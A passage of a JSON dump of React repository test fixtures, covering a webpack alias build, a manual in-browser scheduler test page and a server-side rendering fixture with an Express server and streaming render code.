    "content": "var path = require('path');\n\nmodule.exports = {\n  entry: './input',\n  output: {\n    filename: 'output.js',\n  },\n  resolve: {\n    root: path.resolve('../../../../build/oss-experimental'),\n    alias: {\n      react: 'react/umd/react.production.min',\n      'react-dom': 'react-dom/umd/react-dom.production.min',\n    },\n  },\n};\n"
  },
  {
    "path": "fixtures/packaging/webpack-alias/prod/index.html",
    "content": "<html>\n  <body>\n    <div id=\"container\"></div>\n    <script src=\"output.js\"></script>\n  </body>\n</html>"
  },
  {
    "path": "fixtures/packaging/webpack-alias/prod/input.js",
    "content": "var React = require('react');\nvar ReactDOM = require('react-dom');\n\nReactDOM.render(\n  React.createElement('h1', null, 'Hello World!'),\n  document.getElementById('container')\n);\n"
  },
  {
    "path": "fixtures/packaging/webpack-alias/prod/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"webpack-alias-prod-fixture\",\n  \"dependencies\": {\n    \"webpack\": \"^1.14.0\"\n  },\n  \"scripts\": {\n    \"build\": \"rm -f output.js && webpack --config config.js\"\n  }\n}\n"
  },
  {
    "path": "fixtures/scheduler/index.html",
    "content": "<!DOCTYPE html>\n<html style=\"width: 100%; height: 100%;\">\n\n<head>\n  <meta charset=\"utf-8\">\n  <title>Scheduler Test Page</title>\n  <style>\n    .correct {\n      border: solid green 2px;\n    }\n    .incorrect {\n      border: dashed red 2px;\n    }\n  </style>\n</head>\n\n<body>\n  <h1>Scheduler Fixture</h1>\n  <p>\n    This fixture is for manual testing purposes, and the patterns used in\n    implementing it should not be used as a model. This is mainly for anyone\n    working on making changes to the `schedule` module.\n  </p>\n  <h2>Tests:</h2>\n  <ol>\n    <li>\n      <button onClick=\"runTestOne()\">Run Test 1</button>\n      <p>Calls the callback within the frame when not blocked:</p>\n      <div><b>Expected:</b></div>\n      <div id=\"test-1-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-1\"></div>\n    </li>\n    <li>\n      <p>Accepts multiple callbacks and calls within frame when not blocked</p>\n      <button onClick=\"runTestTwo()\">Run Test 2</button>\n      <div><b>Expected:</b></div>\n      <div id=\"test-2-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-2\"></div>\n    </li>\n    <li>\n      <p>Schedules callbacks in correct order when they use scheduleCallback to schedule themselves</p>\n      <button onClick=\"runTestThree()\">Run Test 3</button>\n      <div><b>Expected:</b></div>\n      <div id=\"test-3-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-3\"></div>\n    </li>\n    <li>\n      <p>Calls timed out callbacks and then any more pending callbacks, defers others if time runs out</p>\n      <button onClick=\"runTestFour()\">Run Test 4</button>\n      <div><b>Expected:</b></div>\n      <div id=\"test-4-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-4\"></div>\n    </li>\n    <li>\n      <p>When some callbacks throw errors, still calls them all within the same frame</p>\n      <p><b>IMPORTANT:</b> Open the console when you run this! Inspect the logs there!</p>\n      <button onClick=\"runTestFive()\">Run Test 5</button>\n    </li>\n    <li>\n      <p>When some callbacks throw errors <b> and some also time out</b>, still calls them all within the same frame</p>\n      <p><b>IMPORTANT:</b> Open the console when you run this! Inspect the logs there!</p>\n      <button onClick=\"runTestSix()\">Run Test 6</button>\n    </li>\n    <li>\n      <p>Continues calling callbacks even when user switches away from this tab</p>\n      <button onClick=\"runTestSeven()\">Run Test 7</button>\n      <div><b>Click the button above, observe the counter, then switch to\n          another tab and switch back:</b></div>\n      <div id=\"test-7\">\n      </div>\n      <div> If the counter advanced while you were away from this tab, it's correct.</div>\n    </li>\n    <li>\n      <p>Test Eight Removed</p>\n      <p>Test 8 was removed because it was testing a feature that was removed from the scheduler.</p>\n    </li>\n    <li>\n      <p>Can force a specific framerate</p>\n      <p><b>IMPORTANT:</b> This test may be flaky if other tests have been run in this js instance. To get a clean test refresh the page before running test 9</p>\n      <button onClick=\"runTestNine()\">Run Test 9</button>\n      <div><b>Expected:</b></div>\n      <div id=\"test-9-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-9\"></div>\n      </div>\n    </li>\n    <li>\n      <p>Runs scheduled JS work for 99% of the frame time when nothing else is using the thread.</p>\n      <p><b>NOTE:</b> Try this test both when nothing else is running and when something is using the compositor thread in another visible tab with video or <a href=\"https://www.shadertoy.com/view/MtffDX\">WebGL content</a> (Shift+Click).</p>\n      <button onClick=\"runTestTen()\">Run Test 10</button>\n      <div><b>Expected:</b></div>\n      <div id=\"test-10-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-10\"></div>\n      </div>\n    </li>\n    <li>\n      <p>Runs scheduled JS work more than 95% of the frame time when inserting DOM nodes.</p>\n      <p><b>NOTE:</b> Try this test both when nothing else is running and when something is using the compositor thread in another visible tab with video or <a href=\"https://www.shadertoy.com/view/MtffDX\">WebGL content</a> (Shift+Click).</p>\n      <button onClick=\"runTestEleven()\">Run Test 11</button>\n      <div><b>Expected:</b></div>\n      <div id=\"test-11-expected\">\n      </div>\n      <div> -------------------------------------------------</div>\n      <div> If you see the same above and below it's correct.\n        <div> -------------------------------------------------</div>\n        <div><b>Actual:</b></div>\n        <div id=\"test-11\"></div>\n      </div>\n    </li>\n  </ol>\n  <script src=\"../../build/oss-experimental/react/umd/react.production.min.js\"></script>\n  <script src=\"../../build/oss-experimental/scheduler/umd/scheduler.production.min.js\"></script>\n  <script src=\"https://unpkg.com/babel-standalone@6/babel.js\"></script>\n  <script type=\"text/babel\">\nconst {\n  unstable_scheduleCallback: scheduleCallback,\n  unstable_cancelCallback: cancelCallback,\n  unstable_now: now,\n  unstable_forceFrameRate: forceFrameRate,\n  unstable_shouldYield: shouldYield,\n  unstable_NormalPriority: NormalPriority,\n} = Scheduler;\nfunction displayTestResult(testNumber) {\n  const expectationNode = document.getElementById('test-' + testNumber + '-expected');\n  const resultNode = document.getElementById('test-' + testNumber);\n  resultNode.innerHTML = latestResults[testNumber - 1].join('<br />');\n  expectationNode.innerHTML = expectedResults[testNumber - 1].join('<br />');\n}\nfunction clearTestResult(testNumber) {\n  const resultNode = document.getElementById('test-' + testNumber);\n  resultNode.innerHTML = '';\n  latestResults[testNumber - 1] = [];\n}\nfunction updateTestResult(testNumber, textToAddToResult) {\n  latestResults[testNumber - 1].push(textToAddToResult);\n};\nfunction checkTestResult(testNumber) {\n\n  let correct = true;\n  const expected = expectedResults[testNumber - 1]; // zero indexing\n  const result = latestResults[testNumber - 1]; // zero indexing\n  if (expected.length !== result.length) {\n    correct = false;\n  } else {\n    for (let i = 0, len = expected.length; i < len; i++) {\n      if (expected[i] !== result[i]) {\n        correct = false;\n        break;\n      }\n    }\n  }\n  const currentClass = correct ? 'correct' : 'incorrect';\n  const previousClass = correct ? 'incorrect' : 'correct';\n  document.getElementById('test-' + testNumber).classList.remove(previousClass);\n  document.getElementById('test-' + testNumber).classList.add(currentClass);\n}\nfunction logWhenFramesStart(testNumber, cb) {\n  requestAnimationFrame(() => {\n    updateTestResult(testNumber, 'frame 1 started');\n    requestAnimationFrame(() => {\n      updateTestResult(testNumber, 'frame 2 started');\n      requestAnimationFrame(() => {\n        updateTestResult(testNumber, 'frame 3 started... we stop counting now.');\n        cb();\n      });\n    });\n  });\n}\n// push in results when we run the test\nconst latestResults = [\n  // test 1\n  [\n  ],\n  // test 2\n  [\n  ],\n  // test 3\n  [\n  ],\n  // test 4\n  [\n  ],\n  // test 5\n  [\n  ],\n];\n\nconst expectedResults = [\n  // test 1\n  [\n    'scheduled Cb1',\n    'frame 1 started',\n    'cb1 called with argument of false',\n    'frame 2 started',\n    'frame 3 started... we stop counting now.',\n  ],\n  // test 2\n  [\n    'scheduled CbA',\n    'scheduled CbB',\n    'frame 1 started',\n    'cbA called with argument of false',\n    'cbB called with argument of false',\n    'frame 2 started',\n    'frame 3 started... we stop counting now.',\n  ],\n  // test 3\n  [\n    'scheduled CbA',\n    'scheduled CbB',\n    'frame 1 started',\n    'scheduled CbA again',\n    'cbA0 called with argument of false',\n    'cbB called with argument of false',\n    'cbA1 called with argument of false',\n    'frame 2 started',\n    'frame 3 started... we stop counting now.',\n  ],\n  // test 4\n  [\n    'scheduled cbA',\n    'scheduled cbB',\n    'scheduled cbC',\n    'scheduled cbD',\n    'frame 1 started',\n    'cbC called with argument of {\"didTimeout\":true}',\n    'cbA called with argument of false',\n    'cbA running and taking some time',\n    'frame 2 started',\n    'cbB called with argument of false',\n    'cbD called with argument of false',\n    'frame 3 started... we stop counting now.',\n  ],\n  // test 5\n  [\n    // ... TODO\n  ],\n  [],\n  [],\n  // Test 8\n  [\n    'Queue size: 0.',\n    'Pausing... press continue to resume.',\n    'Queue size: 2.',\n    'Finishing...',\n    'Done!',\n  ],\n  // test 9\n  [\n    'Forcing new frame times...',\n    'Using new frame time!',\n    'Using new frame time!',\n    'Finished!',\n  ],\n  // test 10\n  [\n    'Running work for 10 seconds...',\n    'Ran scheduled work for >99% of the time.',\n  ],\n  // test 11\n  [\n    'Running work for 10 seconds...',\n    'Ran scheduled work for >95% of the time.',\n  ],\n];\nfunction runTestOne() {\n  // Test 1\n  // Calls the callback with the frame when not blocked\n  clearTestResult(1);\n  const test1Log = [];\n  const cb1Arguments = [];\n  const cb1 = (x) => {\n    updateTestResult(1, 'cb1 called with argument of ' + JSON.stringify(x));\n  }\n  scheduleCallback(NormalPriority, cb1);\n  updateTestResult(1, 'scheduled Cb1');\n  logWhenFramesStart(1, () => {\n    displayTestResult(1);\n    checkTestResult(1);\n  });\n};\n\nfunction runTestTwo() {\n  // Test 2\n  // accepts multiple callbacks and calls within frame when not blocked\n  clearTestResult(2);\n  const cbA = (x) => {\n    updateTestResult(2, 'cbA called with argument of ' + JSON.stringify(x));\n  }\n  const cbB = (x) => {\n    updateTestResult(2, 'cbB called with argument of ' + JSON.stringify(x));\n  }\n  scheduleCallback(NormalPriority, cbA);\n  updateTestResult(2, 'scheduled CbA');\n  scheduleCallback(NormalPriority, cbB);\n  updateTestResult(2, 'scheduled CbB');\n  logWhenFramesStart(2, () => {\n    displayTestResult(2);\n    checkTestResult(2);\n  });\n}\n\nfunction runTestThree() {\n  // Test 3\n  // Schedules callbacks in correct order when they use scheduleCallback to schedule themselves\n  clearTestResult(3);\n  let callbackAIterations = 0;\n  const cbA = (x) => {\n    if (callbackAIterations < 1) {\n      scheduleCallback(NormalPriority, cbA);\n      updateTestResult(3, 'scheduled CbA again');\n    }\n    updateTestResult(3, 'cbA' + callbackAIterations + ' called with argument of ' + JSON.stringify(x));\n    callbackAIterations++;\n  }\n  const cbB = (x) => {\n    updateTestResult(3, 'cbB called with argument of ' + JSON.stringify(x));\n  }\n  scheduleCallback(NormalPriority, cbA);\n  updateTestResult(3, 'scheduled CbA');\n  scheduleCallback(NormalPriority, cbB);\n  updateTestResult(3, 'scheduled CbB');\n  logWhenFramesStart(3, () => {\n    displayTestResult(3);\n    checkTestResult(3);\n  });\n}\n\nfunction waitForTimeToPass(timeInMs) {\n  const startTime = Date.now();\n  const endTime = startTime + timeInMs;\n  while (Date.now() < endTime) {\n    // wait...\n  }\n}\n\nfunction runTestFour() {\n  // Test 4\n  // Calls timed out callbacks and then any more pending callbacks, defers others if time runs out\n  clearTestResult(4);\n  const cbA = (x) => {\n    updateTestResult(4, 'cbA called with argument of ' + JSON.stringify(x));\n    updateTestResult(4, 'cbA running and taking some time');\n    waitForTimeToPass(35);\n  }\n  const cbB = (x) => {\n    updateTestResult(4, 'cbB called with argument of ' + JSON.stringify(x));\n  }\n  const cbC = (x) => {\n    updateTestResult(4, 'cbC called with argument of ' + JSON.stringify(x));\n  }\n  const cbD = (x) => {\n    updateTestResult(4, 'cbD called with argument of ' + JSON.stringify(x));\n  }\n  scheduleCallback(NormalPriority, cbA); // won't time out\n  updateTestResult(4, 'scheduled cbA');\n  scheduleCallback(NormalPriority, cbB, {timeout: 100}); // times out later\n  updateTestResult(4, 'scheduled cbB');\n  scheduleCallback(NormalPriority, cbC, {timeout: 1}); // will time out fast\n  updateTestResult(4, 'scheduled cbC');\n  scheduleCallback(NormalPriority, cbD); // won't time out\n  updateTestResult(4, 'scheduled cbD');\n\n  // should have run in order of C, A, B, D\n\n  logWhenFramesStart(4, () => {\n    displayTestResult(4);\n    checkTestResult(4);\n  });\n\n}\n\n// Error handling\n\nfunction runTestFive() {\n  // Test 5\n  // When some callbacks throw errors, still calls them all within the same frame\n  const cbA = (x) => {\n    console.log('cbA called with argument of ' + JSON.stringify(x));\n  }\n  const cbB = (x) => {\n    console.log('cbB called with argument of ' + JSON.stringify(x));\n    console.log('cbB is about to throw an error!');\n    throw new Error('error B');\n  }\n  const cbC = (x) => {\n    console.log('cbC called with argument of ' + JSON.stringify(x));\n  }\n  const cbD = (x) => {\n    console.log('cbD called with argument of ' + JSON.stringify(x));\n    console.log('cbD is about to throw an error!');\n    throw new Error('error D');\n  }\n  const cbE = (x) => {\n    console.log('cbE called with argument of ' + JSON.stringify(x));\n    console.log('This was the last callback! ------------------');\n  }\n\n  console.log('We are aiming to roughly emulate the way ' +\n  '`requestAnimationFrame` handles errors from callbacks.');\n\n  console.log('about to run the simulation of what it should look like...:');\n\n  requestAnimationFrame(() => {\n    console.log('frame 1 started');\n    requestAnimationFrame(() => {\n      console.log('frame 2 started');\n      requestAnimationFrame(() => {\n        console.log('frame 3 started... we stop counting now.');\n        console.log('about to wait a moment and start this again but ' +\n        'with the scheduler instead of requestAnimationFrame');\n        setTimeout(runSchedulerCode, 1000);\n      });\n    });\n  });\n  requestAnimationFrame(cbA);\n  console.log('scheduled cbA');\n  requestAnimationFrame(cbB); // will throw error\n  console.log('scheduled cbB');\n  requestAnimationFrame(cbC);\n  console.log('scheduled cbC');\n  requestAnimationFrame(cbD); // will throw error\n  console.log('scheduled cbD');\n  requestAnimationFrame(cbE);\n  console.log('scheduled cbE');\n\n\n  function runSchedulerCode() {\n    console.log('-------------------------------------------------------------');\n    console.log('now lets see what it looks like using the scheduler...:');\n    requestAnimationFrame(() => {\n      console.log('frame 1 started');\n      requestAnimationFrame(() => {\n        console.log('frame 2 started');\n        requestAnimationFrame(() => {\n          console.log('frame 3 started... we stop counting now.');\n        });\n      });\n    });\n    scheduleCallback(NormalPriority, cbA);\n    console.log('scheduled cbA');\n    scheduleCallback(NormalPriority, cbB); // will throw error\n    console.log('scheduled cbB');\n    scheduleCallback(NormalPriority, cbC);\n    console.log('scheduled cbC');\n    scheduleCallback(NormalPriority, cbD); // will throw error\n    console.log('scheduled cbD');\n    scheduleCallback(NormalPriority, cbE);\n    console.log('scheduled cbE');\n  };\n}\n\nfunction runTestSix() {\n  // Test 6\n  // When some callbacks throw errors, still calls them all within the same frame\n  const cbA = (x) => {\n    console.log('cbA called with argument of ' + JSON.stringify(x));\n    console.log('cbA is about to throw an error!');\n    throw new Error('error A');\n  }\n  const cbB = (x) => {\n    console.log('cbB called with argument of ' + JSON.stringify(x));\n  }\n  const cbC = (x) => {\n    console.log('cbC called with argument of ' + JSON.stringify(x));\n  }\n  const cbD = (x) => {\n    console.log('cbD called with argument of ' + JSON.stringify(x));\n    console.log('cbD is about to throw an error!');\n    throw new Error('error D');\n  }\n  const cbE = (x) => {\n    console.log('cbE called with argument of ' + JSON.stringify(x));\n    console.log('This was the last callback! ------------------');\n  }\n\n  console.log('We are aiming to roughly emulate the way ' +\n  '`requestAnimationFrame` handles errors from callbacks.');\n\n  console.log('about to run the simulation of what it should look like...:');\n\n  requestAnimationFrame(() => {\n    console.log('frame 1 started');\n    requestAnimationFrame(() => {\n      console.log('frame 2 started');\n      requestAnimationFrame(() => {\n        console.log('frame 3 started... we stop counting now.');\n        console.log('about to wait a moment and start this again but ' +\n        'with the scheduler instead of requestAnimationFrame');\n        setTimeout(runSchedulerCode, 1000);\n      });\n    });\n  });\n  requestAnimationFrame(cbC);\n  console.log('scheduled cbC first; simulating timing out');\n  requestAnimationFrame(cbD); // will throw error\n  console.log('scheduled cbD first; simulating timing out');\n  requestAnimationFrame(cbE);\n  console.log('scheduled cbE first; simulating timing out');\n  requestAnimationFrame(cbA);\n  console.log('scheduled cbA'); // will throw error\n  requestAnimationFrame(cbB);\n  console.log('scheduled cbB');\n\n\n  function runSchedulerCode() {\n    console.log('-------------------------------------------------------------');\n    console.log('now lets see what it looks like using the scheduler...:');\n    requestAnimationFrame(() => {\n      console.log('frame 1 started');\n      requestAnimationFrame(() => {\n        console.log('frame 2 started');\n        requestAnimationFrame(() => {\n          console.log('frame 3 started... we stop counting now.');\n        });\n      });\n    });\n    scheduleCallback(NormalPriority, cbA);\n    console.log('scheduled cbA');\n    scheduleCallback(NormalPriority, cbB); // will throw error\n    console.log('scheduled cbB');\n    scheduleCallback(NormalPriority, cbC, {timeout: 1});\n    console.log('scheduled cbC');\n    scheduleCallback(NormalPriority, cbD, {timeout: 1}); // will throw error\n    console.log('scheduled cbD');\n    scheduleCallback(NormalPriority, cbE, {timeout: 1});\n    console.log('scheduled cbE');\n  };\n}\n\nfunction runTestSeven() {\n  // Test 7\n  // Calls callbacks, continues calling them even when this tab is in the\n  // background\n  clearTestResult(7);\n  let counter = -1;\n  function incrementCounterAndScheduleNextCallback() {\n    const counterNode = document.getElementById('test-7');\n    counter++;\n    counterNode.innerHTML = counter;\n    waitForTimeToPass(100);\n    scheduleCallback(NormalPriority, incrementCounterAndScheduleNextCallback);\n  }\n  scheduleCallback(NormalPriority, incrementCounterAndScheduleNextCallback);\n}\n\nfunction runTestNine() {\n  clearTestResult(9);\n  // We have this to make sure that the thing that goes right after it can get a full frame\n  var forceFrameFinish = () => {\n    while (!shouldYield()) {\n      waitForTimeToPass(1);\n    }\n    waitForTimeToPass(100);\n  }\n  scheduleCallback(NormalPriority, forceFrameFinish);\n  scheduleCallback(NormalPriority, () => {\n    var startTime = now();\n    while (!shouldYield()) {}\n    var initialFrameTime = now() - startTime;\n    var newFrameTime = (initialFrameTime * 2) > 60 ? (initialFrameTime * 2) : 60;\n    var newFrameRate = Math.floor(1000/newFrameTime);\n    updateTestResult(9, `Forcing new frame times...`);\n    displayTestResult(9);\n    forceFrameRate(newFrameRate);\n    var toSchedule = (again) => {\n      var startTime = now();\n      while (!shouldYield()) {}\n      var frameTime = now() - startTime;\n      if (frameTime >= (newFrameTime-8)) {\n        updateTestResult(9, `Using new frame time!`);\n      } else {\n        updateTestResult(9, `Failed to use new frame time. (off by ${newFrameTime - frameTime}ms)`);\n      }\n      displayTestResult(9);\n      if (again) {\n        scheduleCallback(NormalPriority, forceFrameFinish);\n        scheduleCallback(NormalPriority, () => {toSchedule(false);});\n      } else {\n        updateTestResult(9, `Finished!`);\n        forceFrameRate(0);\n        displayTestResult(9);\n        checkTestResult(9);\n      }\n    }\n    scheduleCallback(NormalPriority, forceFrameFinish);\n    scheduleCallback(NormalPriority, () => {toSchedule(true);});\n  });\n}\n\nfunction runTestTen() {\n  clearTestResult(10);\n  updateTestResult(10, `Running work for 10 seconds...`);\n  var testStartTime = now();\n  var accumulatedWork = 0\n  function loop() {\n    var startTime = now();\n    while (!shouldYield()) {}\n    var endTime = now();\n    accumulatedWork += endTime - startTime;\n    var runTime = endTime - testStartTime;\n    if (runTime > 10000) {\n      updateTestResult(10, `Ran scheduled work for ${(100 * accumulatedWork / runTime).toFixed(2)}% of the time.`);\n      displayTestResult(10);\n      return;\n    }\n    scheduleCallback(NormalPriority, loop);\n  }\n  scheduleCallback(NormalPriority, loop);\n}\n\nfunction runTestEleven() {\n  clearTestResult(11);\n  updateTestResult(11, `Running work for 10 seconds...`);\n  var testStartTime = now();\n  var lastInsertion = 0;\n  var accumulatedWork = 0\n  function loop() {\n    var startTime = now();\n    var timeSinceLastDOMInteraction = startTime - lastInsertion;\n    if (timeSinceLastDOMInteraction > 15) {\n      lastInsertion = startTime;\n      var node = document.createElement('div');\n      node.textContent = startTime;\n      document.body.appendChild(node);\n      document.body.clientHeight; // force layout\n    }\n    while (!shouldYield()) {}\n    var endTime = now();\n    accumulatedWork += endTime - startTime;\n    var runTime = endTime - testStartTime;\n    if (runTime > 10000) {\n      updateTestResult(11, `Ran scheduled work for ${(100 * accumulatedWork / runTime).toFixed(2)}% of the time.`);\n      displayTestResult(11);\n      return;\n    }\n    scheduleCallback(NormalPriority, loop);\n  }\n  scheduleCallback(NormalPriority, loop);\n}\n\n    </script type=\"text/babel\">\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/ssr/README.md",
    "content": "# SSR Fixtures\n\nA set of test cases for quickly identifying issues with server-side rendering.\n\n## Setup\n\nTo reference a local build of React, first run `npm run build` at the root\nof the React project. Then:\n\n```\ncd fixtures/ssr\nyarn\nyarn start\n```\n\nThe `start` command runs a webpack dev server and a server-side rendering server in development mode with hot reloading.\n\n**Note: whenever you make changes to React and rebuild it, you need to re-run `yarn` in this folder:**\n\n```\nyarn\n```\n\nIf you want to try the production mode instead run:\n\n```\nyarn start:prod\n```\n\nThis will pre-build all static resources and then start a server-side rendering HTTP server that hosts the React app and service the static resources (without hot reloading).\n"
  },
  {
    "path": "fixtures/ssr/package.json",
    "content": "{\n  \"name\": \"react-fixtures-ssr\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"devDependencies\": {\n    \"concurrently\": \"3.1.0\",\n    \"http-proxy-middleware\": \"0.17.3\",\n    \"react-scripts\": \"0.9.5\"\n  },\n  \"dependencies\": {\n    \"express\": \"^4.14.0\",\n    \"ignore-styles\": \"^5.0.1\",\n    \"import-export\": \"^1.0.1\",\n    \"node-fetch\": \"^1.6.3\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\"\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"prestart\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"prebuild\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"dev\": \"concurrently \\\"npm run dev:server\\\" \\\"npm run dev:client\\\"\",\n    \"dev:client\": \"BROWSER=none PORT=3001 react-scripts start\",\n    \"dev:server\": \"NODE_ENV=development node server\",\n    \"start\": \"react-scripts build && NODE_ENV=production node server\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test --env=jsdom\",\n    \"eject\": \"react-scripts eject\"\n  }\n}\n"
  },
  {
    "path": "fixtures/ssr/public/index.html",
    "content": "<!doctype html>\n<html>\n  <body>\n    <script>\n      /*\n      This is just a placeholder to make react-scripts happy.\n      We're not using it. If we end up here, redirect to the\n      primary server.\n      */\n      location.href = '//localhost:3000/';\n    </script>\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/ssr/server/index.js",
    "content": "require('ignore-styles');\nconst babelRegister = require('babel-register');\nconst proxy = require('http-proxy-middleware');\n\nbabelRegister({\n  ignore: /\\/(build|node_modules)\\//,\n  presets: ['react-app'],\n});\n\nconst express = require('express');\nconst path = require('path');\n\nconst app = express();\n\n// Application\nif (process.env.NODE_ENV === 'development') {\n  app.get('/', function (req, res) {\n    // In development mode we clear the module cache between each request to\n    // get automatic hot reloading.\n    for (var key in require.cache) {\n      delete require.cache[key];\n    }\n    const render = require('./render').default;\n    render(req.url, res);\n  });\n} else {\n  const render = require('./render').default;\n  app.get('/', function (req, res) {\n    render(req.url, res);\n  });\n}\n\n// Static resources\napp.use(express.static(path.resolve(__dirname, '..', 'build')));\n\n// Proxy everything else to create-react-app's webpack development server\nif (process.env.NODE_ENV === 'development') {\n  app.use(\n    '/',\n    proxy({\n      ws: true,\n      target: 'http://localhost:3001',\n    })\n  );\n}\n\napp.listen(3000, () => {\n  console.log('Listening on port 3000...');\n});\n\napp.on('error', function (error) {\n  if (error.syscall !== 'listen') {\n    throw error;\n  }\n\n  var bind = typeof port === 'string' ? 'Pipe ' + port : 'Port ' + port;\n\n  switch (error.code) {\n    case 'EACCES':\n      console.error(bind + ' requires elevated privileges');\n      process.exit(1);\n      break;\n    case 'EADDRINUSE':\n      console.error(bind + ' is already in use');\n      process.exit(1);\n      break;\n    default:\n      throw error;\n  }\n});\n"
  },
  {
    "path": "fixtures/ssr/server/render.js",
    "content": "import React from 'react';\nimport {renderToPipeableStream} from 'react-dom/server';\nimport {Writable} from 'stream';\n\nimport App from '../src/components/App';\n\nlet assets;\nif (process.env.NODE_ENV === 'development') {\n  // Use the bundle from create-react-app's server in development mode.\n  assets = {\n    'main.js': '/static/js/bundle.js',\n    'main.css': '',\n  };\n} else {\n  assets = require('../build/asset-manifest.json');\n}\n\nclass ThrottledWritable extends Writable {\n  constructor(destination) {\n    super();\n    this.destination = destination;\n    this.delay = 10;\n  }\n\n  _write(chunk, encoding, callback) {\n    let o = 0;\n    const write = () => {\n      this.destination.write(chunk.slice(o, o + 100), encoding, x => {\n        o += 100;\n        if (o < chunk.length) {\n          setTimeout(write, this.delay);\n        } else {\n          callback(x);\n        }\n      });\n    };\n    setTimeout(write, this.delay);\n  }\n\n  _final(callback) {\n    setTimeout(() => {\n      this.destination.end(callback);\n    }, this.delay);\n  }\n}\n\nexport default function render(url, res) {\n  res.socket.on('error', error => {\n    // Log fatal errors\n    console.error('Fatal', error);\n  });\n  let didError = false;\n  const {pipe, abort} = renderToPipeableStream(<App assets={assets} />, {\n    bootstrapScripts: [assets['main.js']],\n    progressiveChunkSize: 1024,\n    onShellReady() {\n      // If something errored before we started streaming, we set the error code appropriately.\n      res.statusCode = didError ? 500 : 200;\n      res.setHeader('Content-type', 'text/html');\n      // To test the actual chunks taking time to load over the network, we throttle\n      // the stream a bit.\n      const throttledResponse = new ThrottledWritable(res);\n      pipe(throttledResponse);\n    },\n    onShellError(x) {\n      // Something errored before we could complete the shell so we emit an alternative shell.\n      res.statusCode = 500;\n      res.send('<!doctype><p>Error</p>');\n    },\n    onError(x) {\n      didError = true;\n      console.error(x);\n    },\n  });\n  // Abandon and switch to client rendering after 5 seconds.\n  // Try lowering this to see the client recover.\n  setTimeout(abort, 5000);\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/App.js",
    "content": "import React, {useContext, useState, Suspense} from 'react';\n\nimport Chrome from './Chrome';\nimport Page from './Page';\nimport Page2 from './Page2';\nimport Theme from './Theme';\n\nfunction LoadingIndicator() {\n  let theme = useContext(Theme);\n  return <div className={theme + '-loading'}>Loading...</div>;\n}\n\nfunction Content() {\n  let [CurrentPage, switchPage] = useState(() => Page);\n  return (\n    <div>\n      <h1>Hello World</h1>\n      <a className=\"link\" onClick={() => switchPage(() => Page)}>\n        Page 1\n      </a>\n      {' | '}\n      <a className=\"link\" onClick={() => switchPage(() => Page2)}>\n        Page 2\n      </a>\n      <Suspense fallback={<LoadingIndicator />}>\n        <CurrentPage />\n      </Suspense>\n    </div>\n  );\n}\n\nexport default function App({assets}) {\n  return (\n    <Chrome title=\"Hello World\" assets={assets}>\n      <Content />\n    </Chrome>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/Chrome.css",
    "content": "body {\n  margin: 10px;\n  padding: 0;\n  font-family: sans-serif;\n}\n\nbody.light {\n  background-color: #FFFFFF;\n  color: #333333;\n}\n\nbody.dark {\n  background-color: #000000;\n  color: #CCCCCC;\n}\n\n.light-loading {\n  margin: 10px 0;\n  padding: 10px;\n  background-color: #CCCCCC;\n  color: #666666;\n}\n\n.dark-loading {\n  margin: 10px 0;\n  padding: 10px;\n  background-color: #333333;\n  color: #999999;\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/Chrome.js",
    "content": "import React, {Component, Suspense, startTransition} from 'react';\n\nimport Theme, {ThemeToggleButton} from './Theme';\n\nimport './Chrome.css';\n\nimport LargeContent from './LargeContent';\n\nexport default class Chrome extends Component {\n  state = {theme: 'light'};\n  render() {\n    const assets = this.props.assets;\n    return (\n      <html lang=\"en\">\n        <head>\n          <meta charSet=\"utf-8\" />\n          <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n          <link rel=\"shortcut icon\" href=\"favicon.ico\" />\n          <link rel=\"stylesheet\" href={assets['main.css']} />\n          <title>{this.props.title}</title>\n        </head>\n        <body className={this.state.theme}>\n          <noscript\n            dangerouslySetInnerHTML={{\n              __html: `<b>Enable JavaScript to run this app.</b>`,\n            }}\n          />\n          <Suspense fallback=\"Loading...\">\n            <Theme.Provider value={this.state.theme}>\n              <div>\n                <ThemeToggleButton\n                  onChange={theme => {\n                    startTransition(() => {\n                      this.setState({theme});\n                    });\n                  }}\n                />\n              </div>\n              {this.props.children}\n            </Theme.Provider>\n          </Suspense>\n          <LargeContent />\n          <script\n            dangerouslySetInnerHTML={{\n              __html: `assetManifest = ${JSON.stringify(assets)};`,\n            }}\n          />\n        </body>\n      </html>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/LargeContent.js",
